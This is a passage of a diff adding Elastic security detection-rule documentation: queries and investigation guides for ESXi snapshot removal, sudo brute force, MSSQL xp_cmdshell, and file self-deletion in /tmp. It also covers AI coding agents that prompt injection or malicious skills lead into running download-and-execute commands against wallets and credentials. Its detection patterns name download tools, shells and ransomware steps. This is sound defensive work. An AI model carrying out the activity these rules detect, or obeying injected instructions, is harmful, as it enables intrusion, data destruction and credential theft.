during a change window is commonly benign. A list immediately followed by a force kill of every world id is the shutdown step before encryption. + + +*Response and remediation* + + +- If the same session kills virtual machines or deletes snapshots, isolate the host. +- Otherwise record the account and source for hunting on other hosts. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "vsphere.log" and event.module: "vsphere" and message: ("esxcli" and "vm process list") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-snapshot-removed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-snapshot-removed.asciidoc new file mode 100644 index 0000000000..8948b4e511 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-virtual-machine-snapshot-removed.asciidoc @@ -0,0 +1,114 @@ +[[prebuilt-rule-8-19-36-esxi-virtual-machine-snapshot-removed]] +=== ESXi Virtual Machine Snapshot Removed + +Detects removal of all snapshots for an ESXi virtual machine. Snapshots are on-host recovery points for a guest. Removing all of them deletes those recovery points, so the virtual machine cannot be reverted to an earlier disk state. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Virtual Machine Snapshot Removed* + + +Snapshots are the local recovery point on a datastore. snapshot.removeall deletes them for one VM id. Ransomware wraps that command in a loop over every VM. + + +*Possible investigation steps* + + +- Read the VM id in message. A loop that calls removeall for every id from getallvms is higher severity than one VM. +- Check whether VM processes were killed or disks were enumerated in the same session. +- Ask the backup or virtualization owner whether snapshot consolidation was underway. + + +*False positive analysis* + + +Backup products and administrators delete snapshots after a successful consolidate. Match the account and the change ticket before closing the alert. + + +*Response and remediation* + + +- If removal was not approved, isolate the host and stop the shell session. +- Restore affected VMs from an off-host backup. Datastore snapshots removed by this command are gone. +- Preserve shell history and hostd logs. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "vsphere.log" and ( + message: "snapshot.removeall" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-excessive-sudo-authentication-failures-via-macos-security-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-excessive-sudo-authentication-failures-via-macos-security-events.asciidoc new file mode 100644 index 0000000000..804b65ffea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-excessive-sudo-authentication-failures-via-macos-security-events.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-36-excessive-sudo-authentication-failures-via-macos-security-events]] +=== Excessive Sudo Authentication Failures via macOS Security Events + +Identifies a high number of failed sudo password attempts on a macOS host within a short time window, using sudo messages collected by the Authentication data stream of the macOS Security Events integration. Repeated sudo authentication failures may indicate an adversary with access to a low-privileged account attempting to guess an administrator password to escalate privileges. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://themittenmac.com/detecting-ssh-activity-via-process-monitoring/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Platform: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Data Source: macOS Security Events +* Rule Type: ESQL +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Excessive Sudo Authentication Failures via macOS Security Events* + + +On macOS, `sudo` prompts for the invoking user's password and, after the configured number of incorrect attempts +(three by default), logs a message of the form ` : incorrect password attempts ; TTY= ; PWD= ; +USER= ; COMMAND=` to the unified log. This rule sums the reported attempt counts per host within the +rule window and alerts when the total reaches the threshold. The invoking user, target user, TTY, and attempted commands +are extracted from the messages and reported in the alert as `Esql.user_name_values`, `Esql.target_user_values`, +`Esql.tty_values`, and `Esql.command_values`. + + +*Possible investigation steps* + + +- Review `Esql.attempt_total`, `Esql.user_name_values`, and `Esql.command_values` in the alert to identify who was +attempting to elevate, how many times, and what they were trying to run. +- Determine whether the invoking account is expected to have sudo rights. Failures from an account that is not an +administrator suggest privilege escalation attempts rather than mistyped passwords. +- Review the attempted commands for reconnaissance, persistence, or credential access tooling (for example, `dscl`, +`launchctl`, `security`, `defaults`, shell interpreters, or scripts in user-writable locations). +- Check whether a successful sudo invocation by the same user follows the failures in `logs-macos.authentication-*`, +which would indicate the password was eventually guessed or known. +- Review how the session originated: a local console session (`ttys` with a preceding login window login) versus an SSH +session, and correlate with SSH authentication alerts on the same host. +- Correlate with other alerts or events from the same host and user during the same period. + + +*False positive analysis* + + +- Administrators who mistype their password. The default three-attempt limit per invocation and the threshold make this +unlikely from a single interactive session, but repeated invocations can approach it. +- Scripts or automation that invoke `sudo` with stale or incorrect credentials in a loop. +- Users who are not administrators habitually attempting `sudo`; consider tuning by user or excluding known cases if +this is expected behavior. + + +*Response and remediation* + + +- Identify the invoking account and its session origin; if the account is not expected to use sudo or the session is +remote and unexpected, terminate the session and disable or reset the account. +- Review the attempted commands and the host for evidence of prior compromise of the low-privileged account. +- Reset the administrator password if there is any indication it may have been guessed or exposed. +- Review sudo configuration and administrator group membership on the host; remove unnecessary admin rights. +- Escalate to the security operations team if additional hosts show similar patterns. + + +==== Setup + + + +*Setup* + + +This rule requires data from the macOS Security Events integration. +Integration setup instructions: https://www.elastic.co/docs/reference/integrations/macos[macOS Security Events Integration for Elastic] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-macos.authentication-* +| WHERE data_stream.dataset == "macos.authentication" and + macos.process.image_path LIKE "*/sudo" and + macos.event.message.description LIKE "*incorrect password attempt*" +| GROK macos.event.message.description "%{NOTSPACE:user_name} : %{NUMBER:attempt_count:int} incorrect password attempt%{DATA} ; TTY=%{NOTSPACE:tty} ; PWD=%{DATA:pwd} ; USER=%{NOTSPACE:target_user} ; COMMAND=%{GREEDYDATA:command}" +| STATS + Esql.failure_event_count = COUNT(*), + Esql.attempt_total = SUM(attempt_count), + Esql.user_name_values = VALUES(user_name), + Esql.target_user_values = VALUES(target_user), + Esql.tty_values = VALUES(tty), + Esql.command_values = VALUES(command) + BY host.id, host.name +| WHERE Esql.attempt_total >= 10 +| KEEP host.id, host.name, Esql.failure_event_count, Esql.attempt_total, Esql.user_name_values, Esql.target_user_values, Esql.tty_values, Esql.command_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc new file mode 100644 index 0000000000..a5586bd26f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-36-execution-via-mssql-xp-cmdshell-stored-procedure]] +=== Execution via MSSQL xp_cmdshell Stored Procedure + +Identifies execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default, thus, it's important to review the context of it's use. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Windows + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via MSSQL xp_cmdshell Stored Procedure* + + +Microsoft SQL Server (MSSQL) has procedures meant to extend its functionality, the Extended Stored Procedures. These procedures are external functions written in C/C++; some provide interfaces for external programs. This is the case for xp_cmdshell, which spawns a Windows command shell and passes in a string for execution. Attackers can use this to execute commands on the system running the SQL server, commonly to escalate their privileges and establish persistence. + +The xp_cmdshell procedure is disabled by default, but when used, it has the same security context as the MSSQL Server service account, which is often privileged. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line to determine if the command executed is potentially harmful or malicious. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. + + +*False positive analysis* + + +- This mechanism can be used legitimately, but it brings inherent risk. The security team must monitor any activity of it. If recurrent tasks are being executed using this mechanism, consider adding exceptions — preferably with a full command line. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Ensure that SQL servers are not directly exposed to the internet. If there is a business justification for such, use an allowlist to allow only connections from known legitimate sources. +- Disable the xp_cmdshell stored procedure. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and +process.parent.name:"sqlservr.exe" and process.command_line : * and +( + ( + (process.name.caseless : "cmd.exe" or process.pe.original_file_name : "Cmd.Exe") and + not process.args : ( + \\\\* or diskfree or rmdir or mkdir or dir or DIR or del or rename or bcp or md or ren or REN or send or echo or + ECHO or TYPE or type or EXIST or forfiles or sqlcmd or SQLCMD or dtexec or Sort-Object or cat or copy or COPY or + move or MOVE or CD\\ or show or rd or powercfg or ("@ECHO" and "@FOR") or + ("@echo" and "@for") or (SET and PATH=*) or ("-ExecutionPolicy" and "-File") or MSSQLFDLauncher$DATEV_DBENGINE or + (wmic and (cpu or computersystem or logicaldisk or os or ComputerSystem or volume)) or -s\:C\:\\WINDOWS\\SERVIC* or + D\:\\* or E\:\\* or F\:\\* or Z\:\\* or "C:\Program Files\Amazon\AWSCLIV2\aws.exe" or C\:\\7-Zip\\7z.exe* or + C\:\\FTP* or *\(Get-Item* or C\:\\ProgramData\\Daktronics* + ) and + not process.command_line : ( + "\"C:\\Windows\\system32\\cmd.exe\" /c " or + "\"C:\\Windows\\System32\\cmd.exe\"" + ) + ) or + process.name.caseless:("bitsadmin.exe" or "certutil.exe" or "vpnbridge.exe") or + process.name:("bitsadmin.exe" or "certutil.exe" or "vpnbridge.exe") or + process.pe.original_file_name:("CertUtil.exe" or "bitsadmin.exe" or "vpnbridge.exe") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: SQL Stored Procedures +** ID: T1505.001 +** Reference URL: https://attack.mitre.org/techniques/T1505/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-execution-via-openclaw-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-execution-via-openclaw-agent.asciidoc new file mode 100644 index 0000000000..029b360d39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-execution-via-openclaw-agent.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-36-execution-via-openclaw-agent]] +=== Execution via OpenClaw Agent + +Detects suspicious child process execution from the OpenClaw, Moltbot, or Clawdbot AI coding agents running via Node.js. These tools can execute arbitrary shell commands through skills or prompt injection attacks. Malicious skills from public registries like ClawHub have been observed executing obfuscated download-and-execute commands targeting cryptocurrency wallets and credentials. This rule identifies shells, scripting interpreters, and common LOLBins spawned by these AI agents. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.malwarebytes.com/blog/threat-intel/2026/01/clawdbots-rename-to-moltbot-sparks-impersonation-campaign +* https://www.tomshardware.com/tech-industry/cyber-security/malicious-moltbot-skill-targets-crypto-users-on-clawhub +* https://blogs.cisco.com/ai/personal-ai-agents-like-openclaw-are-a-security-nightmare +* https://blog.virustotal.com/2026/02/from-automation-to-infection-how.html + +*Tags*: + +* Domain: Endpoint +* Domain: GenAI +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Mitre Atlas: AML.T0053 +* Mitre Atlas: AML.T0108 + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via OpenClaw Agent* + + +OpenClaw (formerly Clawdbot, rebranded to Moltbot) is a personal AI coding assistant that can execute shell commands +and scripts on behalf of users. Malicious actors have weaponized the skill ecosystem (ClawHub) to distribute skills +that execute download-and-execute commands, targeting cryptocurrency wallets and credentials. + + +*Possible investigation steps* + + +- Verify if OpenClaw/Moltbot is an approved application in your organization. +- Review the child process command line for indicators of malicious activity (encoded payloads, remote downloads, credential access). +- Check the parent Node.js process command line to identify which OpenClaw component initiated the execution. +- Examine recently installed skills from ClawHub for malicious or obfuscated code. +- Correlate with network events to identify data exfiltration or C2 communication. +- Review the user's AI conversation history for prompt injection attempts. + + +*False positive analysis* + + +- Developers legitimately using OpenClaw/Moltbot for AI-assisted coding may trigger this rule when the AI executes build scripts, curl commands, or other legitimate automation. +- If the tool is approved, consider tuning based on specific command patterns or adding exception lists. + + +*Response and remediation* + + +- If the child process activity appears malicious, terminate the OpenClaw gateway and investigate the skill that initiated the command. +- Review and remove any suspicious skills from the OpenClaw configuration. +- If credentials may have been accessed, rotate affected secrets and API keys. +- Block known typosquat domains (moltbot.you, clawbot.ai, clawdbot.you) at the network level. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + process.parent.name : ("node", "node.exe") and + process.parent.command_line : ("*openclaw*", "*moltbot*", "*clawdbot*") and + process.name : ("bash", "sh", "zsh", "bash.exe", "cmd.exe", "powershell.exe", "curl.exe", "curl", "base64", "xattr", "osascript", "python*", "chmod", "certutil.exe", "rundll32.exe") and + not process.args in ( + "ip neigh show", + "arp -a -n -l", + "ip neighbor show dev wlan0", + "ip neighbor show dev eth0", + "arp -a | findstr /C:---" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc new file mode 100644 index 0000000000..62ae721bf1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-36-file-creation-execution-and-self-deletion-in-suspicious-directory]] +=== File Creation, Execution and Self-Deletion in Suspicious Directory + +This rule monitors for the creation of a file, followed by its execution and self-deletion in a short timespan within a directory often used for malicious purposes by threat actors. This behavior is often used by malware to execute malicious code and delete itself to hide its tracks. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Creation, Execution and Self-Deletion in Suspicious Directory* + + +In Linux environments, temporary directories like `/tmp` and `/var/tmp` are often used for storing transient files. Adversaries exploit these directories to execute malicious payloads and erase traces by creating, running, and deleting files swiftly. The detection rule identifies this pattern by monitoring file creation, execution, and deletion events within these directories, flagging suspicious activities that align with common malware behaviors. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path and name to determine if it matches known malicious patterns or if it is a legitimate file. +- Examine the process execution event, confirming the executable path is inside the suspicious directory and reviewing the parent process and command line to establish what launched it (shell, cron, systemd unit, interpreter, or the downloader itself). +- Investigate the user.id and host.id associated with the events to determine if the activity aligns with expected user behavior or if it indicates potential compromise. +- Check for any network activity or connections initiated by the process to identify potential data exfiltration or communication with command and control servers. +- Analyze the deletion event to confirm whether the file was removed by a legitimate process or if it was part of a self-deletion mechanism used by malware. +- Correlate these events with any other alerts or logs from the same host or user to identify patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Development and testing activities in temporary directories can trigger false positives. Exclude specific paths or processes related to known development tools or scripts that frequently create, execute, and delete files in these directories. +- Automated system maintenance scripts may perform similar actions. Identify and whitelist these scripts by their process names or paths to prevent unnecessary alerts. +- Installer scripts may download a helper binary to a temporary directory, run it, and clean up within seconds. Add exceptions for these tools by the creating process, the executable path, or the deleting process. +- Temporary file operations by legitimate applications such as web servers or database services might be flagged. Monitor and exclude these applications by their known behaviors or specific file paths they use. +- Regular system updates or package installations can involve temporary file handling. Recognize and exclude these activities by identifying the associated package manager processes or update scripts. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further spread of the potential malware. Disconnect it from the network to contain the threat. +- Terminate any suspicious processes identified in the alert, especially those executed from temporary directories, to stop any ongoing malicious activity. +- Conduct a thorough examination of the affected directories (/tmp, /var/tmp, etc.) to identify and remove any remaining malicious files or scripts. +- Restore any affected systems from a known good backup to ensure that no remnants of the malware remain. +- Update and patch the affected system to close any vulnerabilities that may have been exploited by the threat actor. +- Enhance monitoring and logging on the affected host and similar systems to detect any recurrence of this behavior, focusing on file creation, execution, and deletion events in temporary directories. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems may be compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, user.id with maxspan=1m + [file where host.os.type == "linux" and event.action == "creation" and + process.name in ("curl", "wget", "fetch", "ftp", "sftp", "scp", "rsync", "ld", "xdg-open") and + file.path like ("/dev/shm/*", "/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/www/*", "/proc/*/fd/*")] by file.name + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.executable like ("/dev/shm/*", "/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/www/*", "/proc/*/fd/*")] by process.name + [file where host.os.type == "linux" and event.action == "deletion" and + file.path like ("/dev/shm/*", "/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/www/*", "/proc/*/fd/*") and + not process.name in ("rm", "ld", "conftest", "link", "gcc", "getarch")] by file.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-made-immutable-by-chattr.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-made-immutable-by-chattr.asciidoc new file mode 100644 index 0000000000..7d8bc263d6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-made-immutable-by-chattr.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-36-file-made-immutable-by-chattr]] +=== File made Immutable by Chattr + +Detects a file being made immutable using the chattr binary. Making a file immutable means it cannot be deleted or renamed, no link can be created to this file, most of the file's metadata can not be modified, and the file can not be opened in write mode. Threat actors will commonly utilize this to prevent tampering or modification of their malicious files or any system files they have modified for purposes of persistence (e.g .ssh, /etc/passwd, etc.). + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* 